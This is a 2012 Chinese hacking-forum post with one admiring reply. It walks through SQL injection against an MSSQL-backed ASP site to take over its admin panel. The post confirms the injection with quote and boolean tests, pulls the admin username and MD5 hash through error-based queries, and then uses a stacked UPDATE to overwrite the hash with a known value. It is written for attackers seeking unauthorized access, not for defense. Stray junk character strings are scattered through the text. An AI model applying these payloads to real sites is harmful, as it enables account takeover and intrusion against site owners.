找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2346|回复: 1
打印 上一主题 下一主题

SQL注入直接修改管理员密码的MD5值

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:55:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。2 @# Y/ H) s! C# I/ F/ g+ Q
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
, h  S+ n* A+ }; l/ b5 g( [测试如下:
. H/ V/ r9 q: l5 i: u" X9 jhttp://www.tmdsb.com/news.asp?id=121$ j2 l7 Z+ p/ N$ T
在地址后输入单引号,显示* ^+ N: A/ T) {8 h
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
) K- P4 P& O- j3 I字符串 ’’’ 之前有未闭合的引号9 Y: ^$ V& w9 t, O1 V) Q; E  R4 ~- p
/news/tmdws.asp,行63) [! ~) N, u7 x6 s: h
说明没有过滤单引号且数据库是MSSQL.# A, j3 Z" N$ O/ u7 a5 v) J( O7 ^
and 1=1正常。and 1=2出错。肯定存在注入: O( B# a8 f2 M9 C  e
接着输入- L  J( L  y2 S
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
* f; A! L5 Z) B得到帐号为:admin9 ^' p' k8 I) z8 w$ v
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)# k  a$ h, \7 D2 S% R- K: ?
得到密码为:a4716077c2ba075c
, w2 S0 Y) |/ O+ ]* e接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433
' q/ o& l' m( h3 n7 m0 t1 c) M4 p命令如下 :9 S( M) F1 `% J% f
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–& T; x" ?( h2 q- S- W7 j/ u! e5 X
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的
回复

使用道具 举报

沙发
发表于 2012-9-14 16:22:41 | 只看该作者
没法说  一个字牛
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表